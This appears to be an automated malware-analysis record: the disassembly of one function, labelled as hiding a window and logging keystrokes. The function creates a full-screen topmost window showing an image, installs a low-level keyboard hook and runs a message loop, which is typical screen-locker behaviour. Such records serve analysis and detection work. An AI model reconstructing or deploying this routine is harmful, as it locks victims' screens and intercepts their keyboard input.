Function at 0x401487
Capabilities:
Hide graphical window
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xbc
mov eax, dword [str.FullScreenClass]
mov dword [ebp - 0x38], eax
mov eax, dword [0x4060dc]
mov dword [ebp - 0x34], eax
mov eax, dword [0x4060e0]
mov dword [ebp - 0x30], eax
mov eax, dword [0x4060e4]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x4060e8]
mov dword [ebp - 0x28], eax
mov eax, dword [0x4060ec]
mov dword [ebp - 0x24], eax
mov eax, dword [0x4060f0]
mov dword [ebp - 0x20], eax
mov eax, dword [0x4060f4]
mov dword [ebp - 0x1c], eax
lea edx, [ebp - 0x60]
mov eax, 0
mov ecx, 0xa
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x5c], sym.__Z10WindowProcP6HWND__jjl_16
mov eax, dword [ebp + 8]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x3c], eax
mov dword [esp + 4], 0x7f00
mov dword [esp], 0
call sym._LoadCursorA_8
sub esp, 8
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x60]
mov dword [esp], eax
call sym._RegisterClassW_4
sub esp, 4
call sym._GetDesktopWindow_0
mov edx, eax
lea eax, [ebp - 0x70]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._GetWindowRect_8
sub esp, 8
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x6c]
mov esi, edx
sub esi, eax
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x70]
mov ebx, edx
sub ebx, eax
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x70]
mov dword [esp + 0x2c], 0
mov ecx, dword [ebp + 8]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x80000000
mov dword [esp + 8], str.Full_Screen_Window
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
mov dword [esp], 0x80008
call sym._CreateWindowExW_48
sub esp, 0x30
mov dword [0x408024], eax
mov eax, dword [0x408024]
test eax, eax
jne 0x4015bf
mov eax, 0
jmp 0x401779
mov eax, dword [0x408024]
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0xff
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._SetLayeredWindowAttributes_16
sub esp, 0x10
mov eax, dword [0x408024]
mov edx, dword [ebp + 0x14]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
mov eax, dword [0x408024]
mov dword [esp], eax
call sym.SetTopMost_HWND___
mov dword [esp], str.mikha.jpg
call sym.LoadImageAsBitmap_wchar_t_const_
mov dword [0x40802c], eax
mov eax, dword [0x40802c]
test eax, eax
jne 0x401656
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Failed_to_load_image
mov dword [esp], 0
call sym._MessageBoxW_16
sub esp, 0x10
mov eax, 0
jmp 0x401779
mov dword [esp], 0
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], sym.__Z20LowLevelKeyboardProcijl_12
mov dword [esp], 0xd
call sym._SetWindowsHookExA_16
sub esp, 0x10
mov dword [0x408020], eax
mov eax, dword [0x408024]
mov dword [esp + 0xc], sym.__Z9TimerProcP6HWND__jjm_16
mov dword [esp + 8], 0x64
mov dword [esp + 4], 1
mov dword [esp], eax
call sym._SetTimer_16
sub esp, 0x10
mov ecx, 0
mov eax, 0x1c
and eax, 0xfffffffc
mov edx, eax
mov eax, 0
mov dword [ebp + eax - 0x8c], ecx
add eax, 4
cmp eax, edx
jb 0x4016c9
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x8c]
mov dword [esp], eax
call sym._GetMessageA_16
sub esp, 0x10
test eax, eax
setne al
test al, al
je 0x40172d
lea eax, [ebp - 0x8c]
mov dword [esp], eax
call sym._TranslateMessage_4
sub esp, 4
lea eax, [ebp - 0x8c]
mov dword [esp], eax
call sym._DispatchMessageA_4
sub esp, 4
jmp 0x4016d7
mov eax, dword [0x408024]
mov dword [esp + 4], 1
mov dword [esp], eax
call sym._KillTimer_8
sub esp, 8
mov eax, dword [0x408020]
mov dword [esp], eax
call sym._UnhookWindowsHookEx_4
sub esp, 4
mov dword [esp], 0
call sym._BlockInput_4
sub esp, 4
mov eax, dword [0x40802c]
mov dword [esp], eax
call sym._DeleteObject_4
sub esp, 4
mov eax, 0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0x10